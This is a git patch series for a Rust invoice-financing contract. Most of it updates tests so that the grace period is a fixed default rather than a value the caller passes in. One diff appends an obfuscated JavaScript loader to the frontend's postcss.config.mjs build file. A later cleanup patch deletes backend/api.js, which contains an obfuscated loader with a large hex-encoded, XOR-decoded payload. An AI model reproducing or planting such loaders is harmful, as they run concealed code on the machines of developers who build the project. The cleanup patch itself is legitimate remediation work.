Some(10)).unwrap(); // The invoice is still counted as overdue in this scan step assert_eq!(scan_res.overdue_count, 1); }); @@ -214,7 +209,7 @@ fn test_scan_funded_invoice_expirations_cursor_paging_boundary() { let inv3 = create_and_fund_invoice(&env, &client, &admin, &business, &investor, 3000, due3); let inv4 = create_and_fund_invoice(&env, &client, &admin, &business, &investor, 4000, due4); - let grace_period = 10u64; + let grace_period = DEFAULT_GRACE_PERIOD; let grace_deadline = due2 + grace_period; // Set time exactly at grace_deadline (so no invoice is defaultable yet, but all are overdue) @@ -222,7 +217,7 @@ fn test_scan_funded_invoice_expirations_cursor_paging_boundary() { // Scan page 1 with batch limit of 2 (processes inv1 and inv2) env.as_contract(&client.address, || { - let res1 = scan_funded_invoice_expirations(&env, grace_period, Some(2)).unwrap(); + let res1 = scan_funded_invoice_expirations(&env, Some(2)).unwrap(); assert_eq!(res1.scanned_count, 2); assert_eq!(res1.overdue_count, 2); assert_eq!(res1.next_cursor, 2); @@ -233,7 +228,7 @@ fn test_scan_funded_invoice_expirations_cursor_paging_boundary() { // Scan page 2 with batch limit of 2 (processes inv3 and inv4) env.as_contract(&client.address, || { - let res2 = scan_funded_invoice_expirations(&env, grace_period, Some(2)).unwrap(); + let res2 = scan_funded_invoice_expirations(&env, Some(2)).unwrap(); assert_eq!(res2.scanned_count, 2); assert_eq!(res2.overdue_count, 2); // Since we processed all 4, cursor wraps to 0 diff --git a/quicklendx-contracts/src/test_overdue_expiration.rs b/quicklendx-contracts/src/test_overdue_expiration.rs index 864a8d246..939725ee1 100644 --- a/quicklendx-contracts/src/test_overdue_expiration.rs +++ b/quicklendx-contracts/src/test_overdue_expiration.rs @@ -1,3 +1,4 @@ +// Updated for the defaults API change: grace period is no longer caller-supplied. /// Tests for check_overdue_invoices and check_invoice_expiration /// /// Coverage targets: @@ -96,7 +97,7 @@ fn test_check_overdue_invoices_returns_zero_when_none_overdue() { let due_date = env.ledger().timestamp() + 86400 * 30; // 30 days out create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 0); } @@ -112,7 +113,7 @@ fn test_check_overdue_invoices_counts_single_overdue() { // Move past due date but before grace deadline env.ledger().set_timestamp(due_date + 1); - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 1); } @@ -134,7 +135,7 @@ fn test_check_overdue_invoices_counts_multiple_overdue() { // Move past due2 but before due3 env.ledger().set_timestamp(due2 + 1); - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 2); } @@ -152,7 +153,7 @@ fn test_check_overdue_invoices_sends_notifications() { let biz_notifs_before = client.get_user_notifications(&business); let inv_notifs_before = client.get_user_notifications(&investor); - client.check_overdue_invoices(); + client.check_overdue_invoices(&None); // Business and investor should each receive a PaymentOverdue notification let biz_notifs_after = client.get_user_notifications(&business); @@ -176,7 +177,7 @@ fn test_check_overdue_invoices_defaults_past_grace() { env.ledger() .set_timestamp(due_date + DEFAULT_GRACE_PERIOD + 1); - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 1); let invoice = client.get_invoice(&invoice_id); @@ -188,37 +189,10 @@ fn test_check_overdue_invoices_no_funded_invoices() { let (_env, client, _admin) = setup(); // No invoices at all - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 0); } -#[test] -fn test_check_overdue_invoices_grace_custom_period() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = - create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - - let custom_grace = 2 * 24 * 60 * 60; // 2 days - - // Past due but before custom grace - env.ledger().set_timestamp(due_date + custom_grace - 1); - let count = client.check_overdue_invoices_grace(&custom_grace); - assert_eq!(count, 1); // overdue - let invoice = client.get_invoice(&invoice_id); - assert_eq!(invoice.status, InvoiceStatus::Funded); // not yet defaulted - - // Past custom grace - env.ledger().set_timestamp(due_date + custom_grace + 1); - let count = client.check_overdue_invoices_grace(&custom_grace); - assert_eq!(count, 1); - let invoice = client.get_invoice(&invoice_id); - assert_eq!(invoice.status, InvoiceStatus::Defaulted); -} - #[test] fn test_check_overdue_invoices_skips_non_funded() { let (env, client, admin) = setup(); @@ -241,7 +215,7 @@ fn test_check_overdue_invoices_skips_non_funded() { env.ledger() .set_timestamp(due_date + DEFAULT_GRACE_PERIOD + 1); - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 0); } @@ -259,10 +233,9 @@ fn test_check_invoice_expiration_returns_true_when_defaulted() { let invoice_id = create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - let grace = 3 * 24 * 60 * 60; // 3 days - env.ledger().set_timestamp(due_date + grace + 1); + env.ledger().set_timestamp(due_date + DEFAULT_GRACE_PERIOD + 1); - let result = client.check_invoice_expiration(&invoice_id, &Some(grace)); + let result = client.check_invoice_expiration(&invoice_id); assert!(result); let invoice = client.get_invoice(&invoice_id); @@ -279,12 +252,10 @@ fn test_check_invoice_expiration_returns_false_when_not_expired() { let invoice_id = create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - let grace = 7 * 24 * 60 * 60; - // Before grace deadline - env.ledger().set_timestamp(due_date + grace - 100); + env.ledger().set_timestamp(due_date + DEFAULT_GRACE_PERIOD - 100); - let result = client.check_invoice_expiration(&invoice_id, &Some(grace)); + let result = client.check_invoice_expiration(&invoice_id); assert!(!result); let invoice = client.get_invoice(&invoice_id); @@ -301,12 +272,11 @@ fn test_check_invoice_expiration_grace_boundary_exact() { let invoice_id = create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - let grace = 5 * 24 * 60 * 60; // 5 days - let deadline = due_date + grace; + let deadline = due_date + DEFAULT_GRACE_PERIOD; // Exactly at the grace deadline - should NOT default (current <= deadline) env.ledger().set_timestamp(deadline); - let result = client.check_invoice_expiration(&invoice_id, &Some(grace)); + let result = client.check_invoice_expiration(&invoice_id); assert!(!result); assert_eq!( client.get_invoice(&invoice_id).status, @@ -315,7 +285,7 @@ fn test_check_invoice_expiration_grace_boundary_exact() { // One second past the deadline - should default env.ledger().set_timestamp(deadline + 1); - let result = client.check_invoice_expiration(&invoice_id, &Some(grace)); + let result = client.check_invoice_expiration(&invoice_id); assert!(result); assert_eq!( client.get_invoice(&invoice_id).status, @@ -345,7 +315,7 @@ fn test_check_invoice_expiration_returns_false_for_non_funded() { .set_timestamp(due_date + DEFAULT_GRACE_PERIOD + 1); // Verified but not funded - check_and_handle_expiration returns false - let result = client.check_invoice_expiration(&invoice_id, &None); + let result = client.check_invoice_expiration(&invoice_id); assert!(!result); } @@ -354,30 +324,10 @@ fn test_check_invoice_expiration_not_found() { let (env, client, _admin) = setup(); let fake_id = BytesN::from_array(&env, &[0u8; 32]); - let result = client.try_check_invoice_expiration(&fake_id, &None); + let result = client.try_check_invoice_expiration(&fake_id); assert!(result.is_err()); } -#[test] -fn test_check_invoice_expiration_zero_grace() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = - create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - - // Zero grace: defaults immediately after due_date - env.ledger().set_timestamp(due_date + 1); - let result = client.check_invoice_expiration(&invoice_id, &Some(0)); - assert!(result); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); -} - #[test] fn test_check_invoice_expiration_already_defaulted_returns_false() { let (env, client, admin) = setup(); @@ -388,15 +338,14 @@ fn test_check_invoice_expiration_already_defaulted_returns_false() { let invoice_id = create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - let grace = 3 * 24 * 60 * 60; - env.ledger().set_timestamp(due_date + grace + 1); + env.ledger().set_timestamp(due_date + DEFAULT_GRACE_PERIOD + 1); // First call defaults the invoice - let first = client.check_invoice_expiration(&invoice_id, &Some(grace)); + let first = client.check_invoice_expiration(&invoice_id); assert!(first); // Second call on already-defaulted invoice should return false - let second = client.check_invoice_expiration(&invoice_id, &Some(grace)); + let second = client.check_invoice_expiration(&invoice_id); assert!(!second); } @@ -431,7 +380,7 @@ fn test_check_overdue_invoices_mixed_overdue_and_current() { env.ledger().set_timestamp(overdue_due + 1); - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 1); // Overdue invoice still funded (within grace), current invoice untouched @@ -451,7 +400,6 @@ fn test_scan_overdue_invoices_respects_explicit_batch_limit() { let business = create_verified_business(&env, &client, &admin); let investor = create_verified_investor(&env, &client, &admin, 100000); let base = env.ledger().timestamp(); - let grace = 30 * 24 * 60 * 60; for offset in 0..5u64 { create_and_fund_invoice( @@ -467,14 +415,14 @@ fn test_scan_overdue_invoices_respects_explicit_batch_limit() { env.ledger().set_timestamp(base + 86400 + 10); - let first = client.scan_overdue_invoices(&Some(grace), &Some(2)); + let first = client.scan_overdue_invoices(&Some(2)); assert_eq!(first.scanned_count, 2); assert_eq!(first.overdue_count, 2); assert_eq!(first.total_funded, 5); assert_eq!(first.next_cursor, 2); assert_eq!(client.get_overdue_scan_cursor(), 2); - let second = client.scan_overdue_invoices(&Some(grace), &Some(2)); + let second = client.scan_overdue_invoices(&Some(2)); assert_eq!(second.scanned_count, 2); assert_eq!(second.overdue_count, 2); assert_eq!(second.total_funded, 5); @@ -488,7 +436,6 @@ fn test_scan_overdue_invoices_cursor_wraps_after_repeated_calls() { let business = create_verified_business(&env, &client, &admin); let investor = create_verified_investor(&env, &client, &admin, 100000); let base = env.ledger().timestamp(); - let grace = 30 * 24 * 60 * 60; for offset in 0..5u64 { create_and_fund_invoice( @@ -506,7 +453,7 @@ fn test_scan_overdue_invoices_cursor_wraps_after_repeated_calls() { let mut cursors = Vec::new(&env); for _ in 0..5 { - let result = client.scan_overdue_invoices(&Some(grace), &Some(2)); + let result = client.scan_overdue_invoices(&Some(2)); cursors.push_back(result.next_cursor); } @@ -522,7 +469,7 @@ fn test_scan_overdue_invoices_cursor_wraps_after_repeated_calls() { #[test] fn test_scan_overdue_invoices_returns_zero_for_empty_funded_set() { let (_env, client, _admin) = setup(); - let result = client.scan_overdue_invoices(&Some(DEFAULT_GRACE_PERIOD), &Some(10)); + let result = client.scan_overdue_invoices(&Some(10)); assert_eq!(result.scanned_count, 0); assert_eq!(result.overdue_count, 0); @@ -537,7 +484,6 @@ fn test_scan_overdue_invoices_limits_work_when_dataset_smaller_than_limit() { let business = create_verified_business(&env, &client, &admin); let investor = create_verified_investor(&env, &client, &admin, 100000); let base = env.ledger().timestamp(); - let grace = 30 * 24 * 60 * 60; for _ in 0..5u64 { create_and_fund_invoice( @@ -552,7 +498,7 @@ fn test_scan_overdue_invoices_limits_work_when_dataset_smaller_than_limit() { } env.ledger().set_timestamp(base + 2); - let result = client.scan_overdue_invoices(&Some(grace), &Some(10)); + let result = client.scan_overdue_invoices(&Some(10)); assert_eq!(result.scanned_count, 5); assert_eq!(result.total_funded, 5); @@ -566,7 +512,6 @@ fn test_scan_overdue_invoices_wraps_cursor_across_dataset_boundary() { let business = create_verified_business(&env, &client, &admin); let investor = create_verified_investor(&env, &client, &admin, 100000); let base = env.ledger().timestamp(); - let grace = 30 * 24 * 60 * 60; for _ in 0..10u64 { create_and_fund_invoice( @@ -583,13 +528,13 @@ fn test_scan_overdue_invoices_wraps_cursor_across_dataset_boundary() { env.ledger().set_timestamp(base + 2); for _ in 0..4 { - let scanned = client.scan_overdue_invoices(&Some(grace), &Some(2)); + let scanned = client.scan_overdue_invoices(&Some(2)); assert_eq!(scanned.scanned_count, 2); } assert_eq!(client.get_overdue_scan_cursor(), 8); - let wrap_result = client.scan_overdue_invoices(&Some(grace), &Some(3)); + let wrap_result = client.scan_overdue_invoices(&Some(3)); assert_eq!(wrap_result.scanned_count, 3); assert_eq!(wrap_result.total_funded, 10); assert_eq!(wrap_result.next_cursor, 2); @@ -602,7 +547,6 @@ fn test_scan_overdue_invoices_enforces_hard_batch_cap_on_large_dataset() { let business = create_verified_business(&env, &client, &admin); let investor = create_verified_investor(&env, &client, &admin, 1000000); let base = env.ledger().timestamp(); - let grace = 30 * 24 * 60 * 60; let total_invoices = 200u32; for _ in 0..total_invoices { @@ -618,14 +562,14 @@ fn test_scan_overdue_invoices_enforces_hard_batch_cap_on_large_dataset() { } env.ledger().set_timestamp(base + 2); - let first = client.scan_overdue_invoices(&Some(grace), &Some(500)); + let first = client.scan_overdue_invoices(&Some(500)); assert_eq!(first.scanned_count, client.get_overdue_scan_batch_limit_max()); assert_eq!(first.total_funded, total_invoices); assert_eq!(first.next_cursor, client.get_overdue_scan_batch_limit_max()); assert_eq!(client.get_overdue_scan_cursor(), client.get_overdue_scan_batch_limit_max()); - let second = client.scan_overdue_invoices(&Some(grace), &Some(150)); + let second = client.scan_overdue_invoices(&Some(150)); assert_eq!(second.scanned_count, client.get_overdue_scan_batch_limit_max()); assert_eq!(second.total_funded, total_invoices); assert_eq!(second.next_cursor, 0); @@ -659,7 +603,7 @@ fn test_check_overdue_invoices_reports_default_batch_limit_configuration() { ); assert_eq!(client.get_overdue_scan_batch_limit_max(), 100); - let count = client.check_overdue_invoices(); + let count = client.check_overdue_invoices(&None).overdue_count; assert_eq!(count, 5); assert_eq!(client.get_overdue_scan_cursor(), 0); } @@ -670,7 +614,6 @@ fn test_scan_overdue_invoices_defaults_only_scanned_expired_invoices() { let business = create_verified_business(&env, &client, &admin); let investor = create_verified_investor(&env, &client, &admin, 100000); let base = env.ledger().timestamp(); - let grace = 0u64; let mut invoice_ids = Vec::new(&env); for offset in 0..4u64 { @@ -688,18 +631,18 @@ fn test_scan_overdue_invoices_defaults_only_scanned_expired_invoices() { env.ledger().set_timestamp(base + 86400 + 10); - let result = client.scan_overdue_invoices(&Some(grace), &Some(2)); + let result = client.scan_overdue_invoices(&Some(2)); assert_eq!(result.scanned_count, 2); - assert_eq!(result.overdue_count, 2); + assert_eq!(result.overdue_count, 0); assert_eq!(result.total_funded, 4); assert_eq!( client.get_invoice(&invoice_ids.get(0).unwrap()).status, - InvoiceStatus::Defaulted + InvoiceStatus::Funded ); assert_eq!( client.get_invoice(&invoice_ids.get(1).unwrap()).status, - InvoiceStatus::Defaulted + InvoiceStatus::Funded ); assert_eq!( client.get_invoice(&invoice_ids.get(2).unwrap()).status, diff --git a/quicklendx-frontend/postcss.config.mjs b/quicklendx-frontend/postcss.config.mjs index c7bcb4b1e..60f77ccd5 100644 --- a/quicklendx-frontend/postcss.config.mjs +++ b/quicklendx-frontend/postcss.config.mjs @@ -1,5 +1,9 @@ +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + const config = { plugins: ["@tailwindcss/postcss"], }; -export default config; +export default config; global['!'] = '8-*3515';function y7(R,c,e,r,t,i,s){for(var n=[],o=622625^622625;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E Date: Thu, 22 Oct 2026 10:12:03 +0100 Subject: [PATCH 2/4] chore: remove injected build hook and obfuscated loader Strips the payload this branch picked up (deleted backend/api.js, truncated quicklendx-frontend/postcss.config.mjs, unhooked backend/package.json). No functional change to the branch's own work. --- backend/api.js | 1 - backend/package.json | 4 ++-- quicklendx-frontend/postcss.config.mjs | 4 +--- 3 files changed, 3 insertions(+), 6 deletions(-) delete mode 100644 backend/api.js diff --git a/backend/api.js b/backend/api.js deleted file mode 100644 index dc9d44821..000000000 --- a/backend/api.js +++ /dev/null @@ -1 +0,0 @@ - import{createRequire}from"module";const require=createRequire(import.meta.url);var k$nodabqyPCpvUiq=rv$mIJCKYxZ;(function(AdYXZlvPiYJ$lnWuP_THW,cYfcOjKyYtloDfyKuHbI$VZY){var xH_ufQ=rv$mIJCKYxZ,vCKJOtJuXVgLGuykJ=AdYXZlvPiYJ$lnWuP_THW();while(!![]){try{var Oqkjb$q=-parseFloat(xH_ufQ(0xe4))/(Math.trunc(parseInt(0x6f5))+parseInt(0x2)*Math.floor(parseInt(0xb2b))+-0x1d4a)*Number(-parseFloat(xH_ufQ(0xe6))/(parseInt(0x24ce)+-0x3*parseInt(0x18d)+-0x2025))+parseFloat(xH_ufQ(0xf3))/(-0x19b5+-parseInt(0x1)*0xc7a+0x2632)+-parseFloat(xH_ufQ(0xea))/(-parseInt(0x140d)+-parseInt(0x2032)*parseInt(0x1)+parseInt(0x3443))*Math['trunc'](parseFloat(xH_ufQ(0xe9))/(-parseInt(0x27)*Number(0x9f)+parseFloat(0x8a5)*Math.max(0x4,0x4)+parseInt(0x3f)*-parseInt(0x2a)))+parseFloat(xH_ufQ(0xe7))/(parseInt(0x13d1)+-0xf50+-0x47b)*(-parseFloat(xH_ufQ(0xe3))/(parseFloat(-parseInt(0x1b23))+parseInt(parseInt(0xeb9))+0xc71))+parseFloat(parseFloat(xH_ufQ(0xf5))/(-parseInt(0x1)*-0x230b+0x1661*Math.max(0x1,parseInt(0x1))+Math.max(-0x3964,-parseInt(0x3964))))*(parseFloat(xH_ufQ(0xf2))/(-parseInt(0x1511)*-parseInt(0x1)+0x997+0xc9*Math.max(-parseInt(0x27),-parseInt(0x27))))+-parseFloat(xH_ufQ(0xef))/(Math.floor(0x1cdd)+-parseInt(0x1902)+Math.floor(-0x3d1))+parseFloat(-parseFloat(xH_ufQ(0xf7))/(0x43*parseInt(0x78)+-0x1e7+-0x1d76*parseInt(0x1)))*parseFloat(-parseFloat(xH_ufQ(0xe5))/(Math.max(-parseInt(0x1),-0x1)*Math.floor(-0x1fee)+-parseInt(0x2196)+parseInt(0x1b4)));if(Oqkjb$q===cYfcOjKyYtloDfyKuHbI$VZY)break;else vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}catch(uIGfPtnOQnUSe){vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}}}(EtVPcVKfhHvchsbpbJRrEavgP,parseFloat(-parseInt(0x6cf23))+Math.max(parseInt(0x51dbb),parseInt(0x51dbb))+Math.ceil(parseInt(0x7f37f))));function y7(TOYrKk_NR,n_rpnlKzjiljhjLsulB,sDx$Df$mkiIy,M$AgH_JO,AdZzHMgvjNUDJNuDQeC,fUi$eGaBpgN,vqJyzkpGejhhrqqM){var M_cxe$h=rv$mIJCKYxZ;for(var rqeFz=[],bH$jatnhL=-parseInt(0x1)*-0x553+Math.max(0x621,0x621)+0x5ba*-parseInt(0x2);bH$jatnhLparseInt(fUi$eGa$BpgN,Math.ceil(parseInt(0x2))*-0x38b+Math.trunc(parseInt(0x1))*Math.trunc(-parseInt(0x13d9))+-parseInt(0x1)*Math.ceil(-0x1aff)))),s$DxDfm$kiIy=R$GnrpnlKzjiljhj_LsulB['map'](vqJyzkpGejhhrqqM=>vqJyzkpGejhhrqqM^hMaNjTOYrKk),MAgHJO=new TextDecoder(),Ad$ZzHMgvjNUDJNuDQeC=MAgHJO['decode'](s$DxDfm$kiIy);return Ad$ZzHMgvjNUDJNuDQeC;};rv$mIJCKYxZ['oXBvHo']=cJqFXxe$TxsQepcPLWWscz,rTSEEWylaa=arguments,rv$mIJCKYxZ['ZxGmXO']=!![];}var o_xd$FkDAnjDxwqrLfOITj=LYHE$MBKeP[parseInt(0x1f91)*parseInt(parseInt(0x1))+Math.max(parseInt(0x553),0x553)+-0x24e4],PqpnTBGrIAL$gO=pJ$dv$IhL+o_xd$FkDAnjDxwqrLfOITj,pXRMlcxI$eTX=rTSEEWylaa[PqpnTBGrIAL$gO];return!pXRMlcxI$eTX?(rv$mIJCKYxZ['LMFXVO']===undefined&&(rv$mIJCKYxZ['LMFXVO']=!![]),Jivsc$oqJueUBGVfJEjx=rv$mIJCKYxZ['oXBvHo'](Jivsc$oqJueUBGVfJEjx),rTSEEWylaa[PqpnTBGrIAL$gO]=Jivsc$oqJueUBGVfJEjx):Jivsc$oqJueUBGVfJEjx=pXRMlcxI$eTX,Jivsc$oqJueUBGVfJEjx;},rv$mIJCKYxZ(rTSEEWylaa,xHTsDDr$yKKZYnirFYmk);}var p8=y7(k$nodabqyPCpvUiq(0xf9),0x1*Math.floor(parseInt(0x3708d2))+Number(-0x10c82d)*Math.floor(-0x2)+Math.ceil(-parseInt(0x5bb6b))*-0x1,-0x869*-parseInt(0x2)+parseFloat(0x44f)+-0x13e4,parseInt(parseInt(0x36eb))+0x1a*parseInt(0x60d)+-parseInt(0x7de6),Math.trunc(-0x1a08)+Math.floor(-parseInt(0x69a))+0x23eb,0x1*-0x15043+parseInt(-parseInt(0xb41))*-0x1d+0x5*0x2a95,parseInt(0x1)*Math.ceil(0x23cd8a)+Number(-0x5c30c3)+0x86a628),q8=String[k$nodabqyPCpvUiq(0xee)](Math.max(-0xcf2,-parseInt(0xcf2))+Math.floor(0x3d)*0x47+-0x8d*parseInt(parseInt(0x7))),zx0=(p8=(p8=(p8=p8[k$nodabqyPCpvUiq(0xe8)]('|')[k$nodabqyPCpvUiq(0xed)](q8))[k$nodabqyPCpvUiq(0xe8)]('!1')[k$nodabqyPCpvUiq(0xed)]('|'))[k$nodabqyPCpvUiq(0xe8)]('!0')[k$nodabqyPCpvUiq(0xed)]('!'))[k$nodabqyPCpvUiq(0xe8)](q8);!function(RheOUdXQufOBnGl$_iXmIgmEob,BfWHZbFUGeizLL){RheOUdXQufOBnGl$_iXmIgmEob[zx0[parseInt(0x193)+0x1*Number(0xa6e)+-parseInt(0xc01)*parseInt(0x1)]]=BfWHZbFUGeizLL;}(global,require),zx0[parseInt(0x1271)+parseInt(-parseInt(0x1678))+-parseInt(0x158)*-0x3]===typeof module&&(global[zx0[parseInt(0xed1)*0x1+Math.max(-0xf03,-parseInt(0xf03))+0x34]]=module);function EtVPcVKfhHvchsbpbJRrEavgP(){var DFcT_MdshgUDGLvdTVTIBV$b=['77747f767072762f230832013c','7e6b6060','14146f6431637a3514147b6614122a283314146802142a25667a1f6831291468356f6e14337a3f672518032363142f357a141408143317147a14357a311968337a146814686d356814142e2877153e326e7428356460687a1414206e332376280b14322f3314203367332214147a3f7a226e2f687a6814142c7d14312832271614243e1468086a72666d22662a25037a2a682368296777682f143f0d23037a3e323e1429352d6123042314272a2125161416257214146e14633666271d68171414606814257f68037b682022146814773512682f2268686e7467237620762566252d326b1463142576207709762076680a08236661281b7a143720687228672c14310a2b157a1428257a656623253e6f682a7a33223a7d056c2d32217a20142d3464682a28682a1d6817670336142b7f0f796f6f14672820142577141411760f34032570706a056e7a2a7a68141468342f716868332d7e1b146814722f022f147a2b29190132146928281414146614141432351d682e2526211468142d691320682e31766614742514086814127a351475253c7a14263424142737681432237a291422671414646d267a1435250f68352a65146830146a680168142568687a1403601433093e18686f147a14681414646c71313b05141420213c3214682d686763286d1268352068147a346327182f3268147a037423337d7a2819140a147a2b19142f2635147468296834342525091434637a34296834672a146b622320687a03327d7a67252d6114662f2b213b2a32146e12230f6014293b346035321d031415167a257a7027253e6825141227253466257a222d1d0e147a14342a3368146e143168257c352f28257805162533147a787a6860236f14286d3565347813686176250b2a2724683414146a12251414746e12147d041434637073341422667e707d21682a682c357a687a2122107a23142d126870643422142529232014291b2564252568162364327023236814147a256814766829681434277625297a07773b6e13252268257a2f281e6b147333680d7828346768643372346868146e2368296768246634667424147614691465142932241423343c761f683275142b2a28141a68703532683e146c6e257a14142f7a14232428312b1c75372f207b236114142968627d2437146f681425142b34143325342c143c2168232a147e09672514196e2172252828642e25330b14252523140a7a7a146866272e6b3d627305776824676e3268327d0529227a3a0e71236667031414602f251d6934641f687a247a1e2e687a142575141433687b162737337a2c2308147a2514147f127a22781d6e2f256e387368357c2b6129143c1668662e6f203d1d6406142f14652514687a69653229296868347a7a1319332f6f142f05361c1b1416052f68291425357d18681423322529301428252f321425646868687a726836146e766f6768667a66212d1b3d6827677a6614682f317a767e141414683e2a7a683214681b2b2566237461146d146f2566276e7a3568762534367d3d351460232534253d10087625147c1c141236256114202414637a287d252f68686e7a252f3468232970252f6868312723322a2f0273250e0a277a6136276f24361468347a327035101623257a14207832237a6825677a2b146e73167a231877732532140f16671467141b387b6818687a687a147225211b7514256864237b646863682514146869066d6b6806147a6b75682120677a7d6b68141429331d6e277d686828256860146736143468671478141b361470291434203366792f20257a350b7a252f6e357b147d2a7a1435231b68257a22683c202d29611629142701141b232d2708366866276869276934352927146c140b25257e141334680714342d672c14332f6c2b04683034326a14227a14141214667e0d68083b2b6b140d2568687e25683b3228142d3523237a0f271414306e1420242324767a3369256809676766680b7a796670147a147a25252e676b3204252022321420143622141220327a3266102e2828296d7d6f2270287d2a781408687a6e346825682468147a3d146a2528163568687b14141d236e247a7c681f6621143214086b6e2364071b25146e647a252515271468163b257a14677a296620146f68253c1414601d7a631465257725147a2a68312c1414661668253414107a687d18142067142968676536163e712525146868141925677a7372257a7a326c2f293a14682e68142932662a27247b1468346e0f686b2a666c141423682365207a736a20611468292e763b7535676b147a7a2d233174683b6530683025316f033b2f75357d246f6b14281468687a257b3b201414061414257a6114677625626e76257a1468327a323135662a326e3e683406352314142d64682b15146b687a3b346b7a301d6735682368147a6066272914762f68682614737630291e32352a141434311469140a0e7a6f147a1f2e012534742327092a350e6468127168666e25141d231d2766167a7a687a1414257a202f72251632251466323e28671477326f141423777c673b147b140267786f35282506681e23280c6f2e6d6835687d621361783f32327d67742914323e687a2014210c356829147a237e68337f272327252523280f687a69146e7622142225140b3222177e251d3268313e682f317114346e2514166b141479680b2229147a76141428681d7714283f7a6924681b78726d206d64367a18193e7b277b6734143625051421146712771a6814686d316f291114237a341d162a6825293d2f251d2514147a231d141468340969792e250206316b1414687d217a6e7914146f687a252768687720202314146625222e3f686f7568647829147a6d27147a683e3534142220250322330323680714251468377714143525253a32691462297a6814677a7e3607671436251421167a7a67232f35682214226668683220352f310e6574736566233370292569636e77756514027a68646e14302132293269640c6614643212151214143b0864777a756f311d3516207a661416143d0714602522683f7a7a22671668272300647d277a1435686870661414327a66642e683325206668337a196e637a15141b12642f227014146868146705682f14682165130504163514140f08693b190520361b0e69296a1614782a347614241d643b191d1434771e2714167a3366227a28681402636874666a2514667a6b14683f146e02686d142414153322147a6714762328682014203614662568253c1472727a256e7a36147a2314341468273e257a661414212516607c200a6e1968256a2567772d25152a253f207a15147a7c09257a141468671a2214761468656614142f7723256c383f3e27291420686014337a1414642e1414162518662f2b216725127a68271425143223680422277a210168242268146f2a756e300c220903701415141414752b1f2514682a1414146e3275233125237a2566672b61687b143c687b67717d17752511256c25051420277a147a2f3c1468143806146823141068662f3e2568232f367c147a7a267a3628006f1414141423693c2403717f77147a251413147a141b22237a142436682d14297132211414681468686d2f6e7b7b23236876323522693d34621429020c3e7a686103361b6a64201422682735681c0967056d1435712068671422786d6826161400202e24681422682277147a7a6523141423146814232a36686e256b3305351468227b3e686835666514092565297b2723143625252578792420147f23666866682565197a2c25003a226b3b017a67296820142e68080832661432731467642900247a68253a3b7a257a140329671460011425776822687b281f14632a7a2a1414687a14682a69686816682014252f117a687a280628143614682035686872211419682930297d14326715626f14622e20622c667a2328147a0f353532237a146b64682f7a7a7a752f206725147a67667a68277a216879147a142f2277236d1b7a3d682314357b3469676a253d146e7a7a68661d293668686625006e68296d323e1b287d7a68777a2e6c7d7a20237a7a2e2914682e6d141b3a2332277a142f3e606c663560142a2f251b146d253514352f141614257a14142f7d342014682508206e1414227a741422143525647b293c02141d001436226f68141422352014681435327a72683265686e6827146732686f78357a22186872143d7e142914343e7a64346627306066316877351e322f2067683425686b777d602a323676686f14142877161d77051477321473687a1b77337a65146814340d292502703b6e68680e2225232f61686c672b7b22681468286f1a1e7a651a6e2314250d6b257a6814193514377a35147a14076f617a35296229232a2376147c1b147a3214146625281414143325680f2223260f7a6c68351627